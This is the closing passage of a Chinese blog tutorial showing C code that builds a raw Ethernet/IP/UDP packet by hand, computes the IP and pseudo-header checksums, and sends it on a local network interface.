    ipHd->ttl = 128;//生存时间
    ipHd->protocol = 17;//即UDP协议
    ipHd->check = htons(0);//先以0填充,后继计算皇后再放置到这
    ipHd->saddr = inet_addr("192.168.141.128");//源IP
    ipHd->daddr = inet_addr("192.168.141.1");//目的IP

    //校验IP报文首部(不会)
    ipHd->check = checksum((unsigned short *) ipHd, 20);

    /*udp报文*/
    struct udphdr *udpHdr = (struct udphdr *) (buf + 14 + 20);//buf+mac报文长度+IP报文长度

    udpHdr->source = htons(8000);//非必要,除非需要对方回数据给你
    udpHdr->dest = htons(8000);//必须值,指定要发送目的地的端口
    udpHdr->uh_ulen = htons(8 + data_len);//UDP数据报长度 -> UDP首部长度 + 数据长度
    udpHdr->check = htons(0);//和IP报文一样,先置零,后计算填充

    //拷贝数据到UDP数据部分
    memcpy(buf + (14 + 20 + 8), data, data_len);

    //创建伪头部
    unsigned char checksumPackage[512] = "";
    struct pseudoHeader *udpPseudo = (struct pseudoHeader *) checksumPackage;
    udpPseudo->sAddr = inet_addr("192.168.141.128");
    udpPseudo->dAddr = inet_addr("192.168.141.1");
    udpPseudo->flag = 0;
    udpPseudo->pro = 17;//协议
    udpPseudo->len = htons(8 + data_len);//UDP头部长度 + 数据长度

    //组校验包,在伪首部后面加上UDP首部和数据
    memcpy(checksumPackage + 12, buf + 14 + 20, 8 + data_len);
    //进行校验,得到校验和并赋值
    udpHdr->check = checksum((unsigned short *) checksumPackage, 8 + 12 + data_len);//udp首部 + 伪首部 + 数据长度

    SendTo(sockFd, buf, 14 + 20 + 8 + data_len, "ens33");


    //释放资源
    close(sockFd);
    return 0;
}

最后修改:2024 年 05 月 18 日
如果觉得我的文章对你有用,请随意赞赏